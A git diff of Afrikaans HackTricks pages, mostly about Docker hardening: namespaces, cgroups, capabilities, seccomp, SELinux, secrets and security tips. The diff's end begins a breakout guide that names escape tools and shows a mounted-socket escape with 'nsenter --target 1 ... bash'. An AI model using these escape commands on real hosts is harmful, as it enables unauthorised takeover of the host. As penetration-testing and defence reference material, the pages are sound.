Houers kan **sekuriteitskwessies** hê as gevolg van die basisbeeld of as gevolg van die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houers doen en die kwessies lys. Nautilus werk deur elke Houerbeeldlaag met die kwessierepositorium te vergelyk om sekuriteitsgate te identifiseer.
Houers kan **sekuriteitskwessies** hê as gevolg van die basisbeeld of as gevolg van die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houers doen en die kwessies lys. Nautilus werk deur elke Houerbeeldlaag met die kwesbaarheidsrepositorium te vergelyk om sekuriteitsgate te identifiseer.
Vir meer [**inligting lees hierdie**](https://docs.docker.com/engine/scan/).
@ -96,21 +96,21 @@ Docker beeldondertekening verseker die veiligheid en integriteit van beelde wat
* Om Docker inhoudsvertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie funksie is standaard af in Docker weergawe 1.10 en later.
* Met hierdie funksie geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeldstoot vereis die instelling van wagwoorde vir die hoof- en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde veiligheid. Meer besonderhede kan hier gevind word [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
* 'n Poging om 'n ondertekende beeld met inhoudsvertroue geaktiveer af te trek, lei tot 'n "Geen vertroue data vir die nuutste" fout.
* Vir beeldstote na die eerste, vra Docker vir die wagwoord van die stoor sleutel om die beeld te onderteken.
* Vir beeldstote na die eerste, vra Docker vir die wagwoord van die repositorie sleutel om die beeld te onderteken.
Om jou privaat sleutels te rugsteun, gebruik die bevel:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Wanneer jy oorskakel na Docker-gashere, is dit nodig om die hoof- en bewaarpleksleutels te skuif om werksaamhede te handhaaf.
Wanneer jy oorskakel na Docker-gashere, is dit nodig om die hoof- en bewaarpleksleutels te skuif om werking te handhaaf.
***
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik te bou en **werkstrome te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -120,7 +120,7 @@ Kry Vandaag Toegang:
<summary>Opsomming van Kontainer Sekuriteitskenmerke</summary>
#### Hoofproses Isolasiekenmerke
**Hoofproses Isolasiekenmerke**
In gekontainerde omgewings is die isolering van projekte en hul prosesse van uiterste belang vir sekuriteit en hulpbronbestuur. Hier is 'n vereenvoudigde verduideliking van sleutelkonsepte:
@ -128,17 +128,17 @@ In gekontainerde omgewings is die isolering van projekte en hul prosesse van uit
* **Doel**: Verseker isolasie van hulpbronne soos prosesse, netwerke en lêersisteme. Veral in Docker hou namespaces 'n kontainer se prosesse geskei van die gasheer en ander kontainers.
* **Gebruik van `unshare`**: Die `unshare`-bevel (of die onderliggende syscall) word gebruik om nuwe namespaces te skep, wat 'n bygevoegde laag van isolasie bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit.
* **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om terug te keer na die gasheer se verstek-namespaces nie. Om toegang tot die gasheer se namespaces te verkry, sal 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik.
* **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om terug te keer na die gasheer se verstek-namespaces nie. Om toegang tot die gasheer-namespaces te verkry, sal 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik.
**Beheergroepe (CGroups)**
* **Funksie**: Primêr gebruik vir die toekenning van hulpbronne tussen prosesse.
* **Funksie**: Primêr gebruik vir die toekenning van hulpbronne onder prosesse.
* **Sekuriteitaspek**: CGroups self bied nie isolasiesekuriteit nie, behalwe vir die `release_agent`-kenmerk, wat, indien verkeerd geconfigureer, potensieel uitgebuit kan word vir ongemagtigde toegang.
**Bevoegdheidsvermindering**
**Bevoegdheidsverlating**
* **Belangrikheid**: Dit is 'n kritieke sekuriteitskenmerk vir proses-isolasie.
* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dat dit bevoorregte aksies kan uitvoer, aangesien die syscalls sal misluk as gevolg van ontoereikende toestemmings.
* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dat dit bevoorregte aksies kan uitvoer, aangesien die syscalls sal misluk as gevolg van onvoldoende toestemmings.
Dit is die **oorblywende bevoegdhede** nadat die proses die ander laat val:
@ -163,9 +163,9 @@ Dit sal toelaat om kapasiteite, syscalls, toegang tot lêers en vouers te vermin
### Namespaces
**Namespaces** is 'n kenmerk van die Linux kernel wat **kernel hulpbronne verdeel** sodat een stel **prosesse** een stel **hulpbronne sien** terwyl **'n ander** stel **prosesse** 'n **verskillende** stel hulpbronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel hulpbronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike hulpbronne. Hulpbronne kan in meervoudige ruimtes bestaan.
**Namespaces** is 'n kenmerk van die Linux-kernel wat **kernelbronne verdeel** sodat een stel **prosesse** een stel **bronne sien** terwyl **'n ander** stel **prosesse** 'n **verskillende** stel bronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel bronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike bronne. Brongebiede kan in meervoudige ruimtes bestaan.
Docker maak gebruik van die volgende Linux kernel Namespaces om houer-isolasie te bereik:
Docker maak gebruik van die volgende Linux-kernel Namespaces om houer-isolasie te bereik:
* pid namespace
* mount namespace
@ -181,8 +181,8 @@ Vir **meer inligting oor die namespaces** kyk na die volgende bladsy:
### cgroups
Linux kernel kenmerk **cgroups** bied die vermoë om hulpbronne soos cpu, geheue, io, netwerkbandwydte onder 'n stel prosesse te **beperk**. Docker maak dit moontlik om Houers te skep deur die gebruik van die cgroup-funksie wat hulpbronbeheer vir die spesifieke Houer moontlik maak.\
Hieronder is 'n Houer geskep met gebruikerspasiëntgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat die Houer se CPU-gebruik beheer. Dit het 'n standaardwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Houers dieselfde CPU-aandeel van 1024 het, kan elke Houer tot 33% van die CPU neem in geval van CPU-hulpbronstrydigheid. blkio-weight is 'n verhouding wat die Houer se IO beheer. Dit het 'n standaardwaarde van 500 en 'n reeks tussen 10 en 1000.
Linux-kernelkenmerk **cgroups** bied die vermoë om **bronne soos cpu, geheue, io, netwerkbandwydte onder** 'n stel prosesse te **beperk**. Docker maak dit moontlik om Houers te skep met behulp van die cgroup-funksie wat hulpbronnebeheer vir die spesifieke Houer moontlik maak.\
Hieronder is 'n Houer geskep met gebruikerspasiëntgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat die Houer se CPU-gebruik beheer. Dit het 'n verstekwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Houers dieselfde CPU-aandeel van 1024 het, kan elke Houer tot 33% van die CPU neem in geval van CPU-hulpbronstrydigheid. blkio-weight is 'n verhouding wat die Houer se IO beheer. Dit het 'n verstekwaarde van 500 en 'n reeks tussen 10 en 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -202,7 +202,7 @@ Vir meer inligting kyk:
Bevoegdhede maak **fyn beheer vir die bevoegdhede wat aan die root-gebruiker toegelaat kan word**. Docker gebruik die Linux-kernel bevoegdheidseienskap om **die operasies wat binne 'n houer gedoen kan word te beperk** ongeag die tipe gebruiker.
Wanneer 'n Docker-houer uitgevoer word, **laat die proses sensitiewe bevoegdhede vall wat die proses kon gebruik om uit die isolasie te ontsnap**. Dit probeer verseker dat die proses nie sensitiewe aksies kan uitvoer en ontsnap nie:
Wanneer 'n Docker-houer uitgevoer word, **laat die proses sensitiewe bevoegdhede vall wat die proses kon gebruik om te ontsnap uit die isolasie**. Dit probeer verseker dat die proses nie sensitiewe aksies kan uitvoer en ontsnap nie:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@ -227,12 +227,12 @@ Dit is 'n sekuriteitskenmerk wat Docker toelaat om **die syscalls te beperk** wa
### SELinux in Docker
* **Etiketteringstelsel**: SELinux ken 'n unieke etiket toe aan elke proses en lêersisteemobjek.
* **Beleidshandhawing**: Dit dwing sekuriteitsbeleide af wat definieer watter aksies 'n prosesetiket op ander etikette binne die stelsel kan uitvoer.
* **Beleidstoepassing**: Dit dwing sekuriteitsbeleide af wat definieer watter aksies 'n prosesetiket op ander etikette binne die stelsel kan uitvoer.
* **Houerprosesetikette**: Wanneer houermasjiene houerprosesse inisieer, word hulle gewoonlik toegewys aan 'n beperkte SELinux-etiket, gewoonlik `container_t`.
* **Lêeretikettering binne Houers**: Lêers binne die houer word gewoonlik geëtiketteer as `container_file_t`.
* **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t`-etiket slegs kan interaksie hê (lees, skryf, uitvoer) met lêers wat geëtiketteer is as `container_file_t`.
Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer is, dit beperk is tot interaksie slegs met voorwerpe wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromitterings aansienlik beperk.
Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer is, dit beperk is tot interaksie slegs met objekte wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromitterings aansienlik beperk.
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
@ -245,7 +245,7 @@ In Docker speel 'n outorisasie-inprop 'n kritieke rol in sekuriteit deur te besl
* **Outentiseringskonteks**: Dit sluit omvattende inligting oor die gebruiker in, soos wie hulle is en hoe hulle hulself geoutentiseer het.
* **Opdragkonteks**: Dit bestaan uit alle relevante data wat verband hou met die versoek wat gedoen word.
Hierdie kontekste help om te verseker dat slegs legitieme versoek van geoutentiseerde gebruikers verwerk word, wat die sekuriteit van Docker-operasies verbeter.
Hierdie kontekste help verseker dat slegs legitieme versoek van geoutentiseerde gebruikers verwerk word, wat die sekuriteit van Docker-operasies verbeter.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -253,7 +253,7 @@ Hierdie kontekste help om te verseker dat slegs legitieme versoek van geoutentis
## DoS vanuit 'n houer
As jy nie die hulpbronne wat 'n houer kan gebruik behoorlik beperk nie, kan 'n gekompromitteerde houer die gasheer waarop dit hardloop DoS.
As jy nie die hulpbronne wat 'n houer kan gebruik behoorlik beperk nie, kan 'n gekompromitteerde houer die gasheer waarop dit hardloop, DoS.
* CPU DoS
```bash
@ -281,9 +281,9 @@ Op die volgende bladsy kan jy leer **wat impliseer die `--privileged` vlag**:
#### no-new-privileges
As jy 'n houer hardloop waar 'n aanvaller toegang kry as 'n lae-privilege-gebruiker. As jy 'n **verkeerd gekonfigureerde suid-binêre lêer** het, kan die aanvaller dit misbruik en **privileges binne** die houer **opgradeer**. Dit kan hom toelaat om daaruit te ontsnap.
As jy 'n houer hardloop waar 'n aanvaller daarin slaag om toegang te kry as 'n lae-privilege-gebruiker. As jy 'n **verkeerd ingestelde suid-binêre lêer** het, kan die aanvaller dit misbruik en **privileges binne** die houer **verhoog**. Dit kan hom toelaat om daaruit te ontsnap.
Die houer hardloop met die **`no-new-privileges`** opsie geaktiveer sal hierdie soort privilege-opgradering **voorkom**.
Die houer hardloop met die **`no-new-privileges`** opsie geaktiveer sal hierdie soort privilege-escalatie **voorkom**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@ -310,9 +310,9 @@ Vir meer **`--security-opt`**-opsies, kyk na: [https://docs.docker.com/engine/re
Dit is noodsaaklik om te vermy om geheime direk in Docker-beelde in te sluit of om omgewingsveranderlikes te gebruik, aangesien hierdie metodes jou sensitiewe inligting blootstel aan enigiemand met toegang tot die houer deur opdragte soos `docker inspect` of `exec`.
**Docker volumes** is 'n veiliger alternatief, aanbeveel vir die benadering van sensitiewe inligting. Hulle kan gebruik word as 'n tydelike lêersisteem in geheue, wat die risiko's wat verband hou met `docker inspect` en logging verminder. Nietemin kan root-gebruikers en diegene met `exec`-toegang tot die houer steeds die geheime benader.
**Docker volumes** is 'n veiliger alternatief, aanbeveel vir die benadering van sensitiewe inligting. Hulle kan gebruik word as 'n tydelike lêersisteem in die geheue, wat die risiko's wat verband hou met `docker inspect` en logging verminder. Nietemin kan root-gebruikers en diegene met `exec`-toegang tot die houer steeds die geheime benader.
**Docker-geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir gevalle wat geheime benodig tydens die beeldboufase, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd geheime, wat bou spoed verbeter en addisionele kenmerke bied.
**Docker-geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir gevalle waar geheime tydens die beeldboufase benodig word, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd-geheime, wat bou spoed verbeter en addisionele kenmerke bied.
Om van BuildKit gebruik te maak, kan dit op drie maniere geaktiveer word:
@ -320,7 +320,7 @@ Om van BuildKit gebruik te maak, kan dit op drie maniere geaktiveer word:
2. Deur opdragte te voorafgaan: `DOCKER_BUILDKIT=1 docker build .`
3. Deur dit standaard in die Docker-konfigurasie te aktiveer: `{ "features": { "buildkit": true } }`, gevolg deur 'n Docker-herlaai.
BuildKit maak die gebruik van bou-tyd geheime met die `--secret`-opsie moontlik, wat verseker dat hierdie geheime nie ingesluit word in die beeldbou-kas of die finale beeld nie, deur 'n opdrag soos die volgende te gebruik:
BuildKit maak die gebruik van bou-tyd-geheime met die `--secret`-opsie moontlik, wat verseker dat hierdie geheime nie ingesluit word in die beeldbou-kas of die finale beeld nie, deur 'n opdrag soos:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
@ -337,50 +337,50 @@ secrets:
my_secret:
file: ./my_secret_file.txt
```
Hierdie konfigurasie maak die gebruik van geheime inligting moontlik wanneer dienste met Docker Compose begin word.
Hierdie konfigurasie maak dit moontlik om geheime te gebruik wanneer dienste met Docker Compose begin word.
In Kubernetes-omgewings word geheime inligting op 'n ingeboude manier ondersteun en kan verder bestuur word met gereedskap soos [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes se Rol Gebaseerde Toegangsbeheer (RBAC) verbeter geheime inligting se veiligheid, soortgelyk aan Docker Enterprise.
In Kubernetes-omgewings word geheime ondersteun en kan verder bestuur word met gereedskap soos [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes se Rol Gebaseerde Toegangsbeheer (RBAC) verbeter geheimbestuursekuriteit, soortgelyk aan Docker Enterprise.
### gVisor
**gVisor** is 'n aansoek-kernel, geskryf in Go, wat 'n aansienlike deel van die Linux-stelseloppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **afsonderingsgrens tussen die aansoek en die gasheerkernel** voorsien. Die `runsc` uitvoertyd integreer met Docker en Kubernetes, wat dit maklik maak om gesandbokte houers te hardloop.
**gVisor** is 'n aansoek-kernel, geskryf in Go, wat 'n aansienlike deel van die Linux-sisteemoppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **isoleringgrens tussen die aansoek en die gasheerkernel** bied. Die `runsc`-uitvoertyd integreer met Docker en Kubernetes, wat dit maklik maak om gesandbokte houers te hardloop.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** is 'n oopbron-gemeenskap wat werk aan die bou van 'n veilige houer-uitvoertyd met ligte virtuele masjiene wat soos houers voel en optree, maar **sterker werklasafsondering bied deur hardeware-virtualisering** tegnologie as 'n tweede verdedigingslaag te gebruik.
**Kata Containers** is 'n oopbron-gemeenskap wat werk aan 'n veilige houeruitvoertyd met ligte virtuele masjiene wat soos houers voel en optree, maar **sterker werklas-isolering bied deur hardeware-virtualisering** tegnologie as 'n tweede verdedigingslaag.
{% embed url="https://katacontainers.io/" %}
### Opsomming van Wenke
* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-aansluiting binne die houer koppel nie**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die Docker-aansluiting maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te verkry, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop.
* **Moenie as wortel binne die houer hardloop nie. Gebruik 'n** [**ander gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruiker-ruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die wortel in die houer is dieselfde as op die gasheer tensy dit met gebruiker-ruimtes herkartografeer word. Dit word slegs lig beperk deur, hoofsaaklik, Linux-ruimtes, vermoëns en cgroups.
* [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werkbelastings benodig nie enige vermoëns nie en die byvoeging daarvan verhoog die omvang van 'n potensiële aanval.
* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-socket binne die houer koppel nie**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker-socket maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop.
* Moet **nie as root binne die houer hardloop nie. Gebruik 'n** [**verskillende gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruiker-ruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die root in die houer is dieselfde as op die gasheer tensy dit met gebruiker-ruimtes herkartel word. Dit word slegs lig beperk deur, hoofsaaklik, Linux-ruimtes, vermoëns en cgroups.
* [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werklaste het nie enige vermoëns nodig nie en die byvoeging daarvan verhoog die omvang van 'n potensiële aanval.
* [**Gebruik die "no-new-privileges" veiligheidsoptie**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) om te voorkom dat prosesse meer vermoëns verkry, byvoorbeeld deur suid-binêre lêers.
* [**Beperk hulpbronne wat aan die houer beskikbaar is**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien teen ontkenning van diensaanvalle beskerm.
* **Pas** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(of SELinux)** profiele aan om die aksies en stelseloproepe wat vir die houer beskikbaar is, tot die minimum benodigde te beperk.
* **Gebruik** [**amptelike Docker-beelde**](https://docs.docker.com/docker-hub/official\_images/) **en vereis handtekeninge** of bou jou eie gebaseer daarop. Moet nie erfenis of [agterdeur](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde gebruik nie. Berg ook wortelsleutels, wagwoord op 'n veilige plek op. Docker het planne om sleutels met UCP te bestuur.
* **Herbou gereeld** jou beelde om **sekuriteitsopdaterings op die gasheer en beelde toe te pas.**
* Bestuur jou **geheime inligting wyslik** sodat dit moeilik vir die aanvaller is om daartoe toegang te verkry.
* As jy die **docker-daemon blootstel, gebruik HTTPS** met klient- en bedienerverifikasie.
* In jou Docker-lêer, **gee voorkeur aan KOPIE in plaas van VOEG BY**. VOEG BY onttrek outomaties gezip-lêers en kan lêers vanaf URL's kopieer. KOPIE het nie hierdie vermoëns nie. Vermy waar moontlik om VOEG BY te gebruik sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie.
* **Gebruik** [**amptelike docker-beelde**](https://docs.docker.com/docker-hub/official\_images/) **en vereis handtekeninge** of bou jou eie gebaseer daarop. Moet nie erfenis of [agterdeur](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde gebruik nie. Berg ook wortelsleutels, wagwoord op 'n veilige plek op. Docker het planne om sleutels met UCP te bestuur.
* **Herbou gereeld** jou beelde om **sekuriteitspatches op die gasheer en beelde toe te pas.**
* Bestuur jou **geheime wyslik** sodat dit moeilik is vir die aanvaller om daartoe toegang te verkry.
* As jy **die docker-daemon blootstel, gebruik HTTPS** met klient- en bedienerverifikasie.
* In jou Dockerfile, **gee voorkeur aan KOPIE in plaas van BYVOEG**. BYVOEG onttrek outomaties gezipde lêers en kan lêers vanaf URL's kopieer. KOPIE het nie hierdie vermoëns nie. Vermy waar moontlik die gebruik van BYVOEG sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie.
* Het **afsonderlike houers vir elke mikrodiens**
* **Moenie ssh** binne die houer sit nie, "docker exec" kan gebruik word om na die houer te ssh.
* Het **kleiner** houer **beelde**
## Docker Uitbreek / Voorreg-Opgradering
## Docker Uitbreek / Voorreg-escalasie
As jy **binne 'n Docker-houer is** of jy toegang het tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te opgradeer**:
As jy **binne 'n docker-houer is** of jy toegang het tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te eskaleer**:
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
{% endcontent-ref %}
## Docker Verifikasie Inprop Deurloop
## Docker-verifikasie-inprop-deurkruising
As jy toegang het tot die Docker-aansluiting of toegang het tot 'n gebruiker in die **docker-groep maar jou aksies word beperk deur 'n Docker-verifikasie-inprop**, kyk of jy dit kan **verbygaan:**
As jy toegang het tot die docker-socket of toegang het tot 'n gebruiker in die **docker-groep, maar jou aksies word beperk deur 'n docker-verifikasie-inprop**, kyk of jy dit kan **deurkruis:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -407,7 +407,7 @@ Jy moet die gereedskap vanaf die gasheer wat Docker hardloop of vanaf 'n houer m
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskap.\
@ -420,8 +420,8 @@ Kry Vandag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
@ -25,15 +25,15 @@ Kry Vandag Toegang:
## Outomatiese Opsomming & Ontsnapping
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Dit kan ook **houers opsom**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Hierdie hulpmiddel is baie **nuttig om die houer waarin jy is te opsom en selfs probeer om outomaties te ontsnap**
* [**amicontained**](https://github.com/genuinetools/amicontained): Nuttige hulpmiddel om die voorregte te kry wat die houer het om maniere te vind om daaruit te ontsnap
* [**deepce**](https://github.com/stealthcopter/deepce): Hulpmiddel om houers te opsom en daaruit te ontsnap
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Hierdie instrument is baie **nuttig om die houer waarin jy is te opsom en selfs probeer om outomaties te ontsnap**
* [**amicontained**](https://github.com/genuinetools/amicontained): Nuttige instrument om die voorregte van die houer te kry om maniere te vind om daaruit te ontsnap
* [**deepce**](https://github.com/stealthcopter/deepce): Instrument om houers te opsom en daaruit te ontsnap
* [**grype**](https://github.com/anchore/grype): Kry die CVE's wat in die sagteware geïnstalleer in die beeld bevat word
## Gemonteerde Docker Sokkel Ontsnapping
As jy op een of ander manier vind dat die **docker-sokkel binne die docker-houer gemonteer is**, sal jy daaruit kan ontsnap.\
Dit gebeur gewoonlik in docker-houers wat om een of ander rede moet koppel aan die docker-daemon om aksies uit te voer.
As jy op een of ander manier vind dat die **docker sokkel binne die docker houer gemonteer is**, sal jy daaruit kan ontsnap.\
Dit gebeur gewoonlik in docker-houers wat om een of ander rede moet koppel aan die docker daemon om aksies uit te voer.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
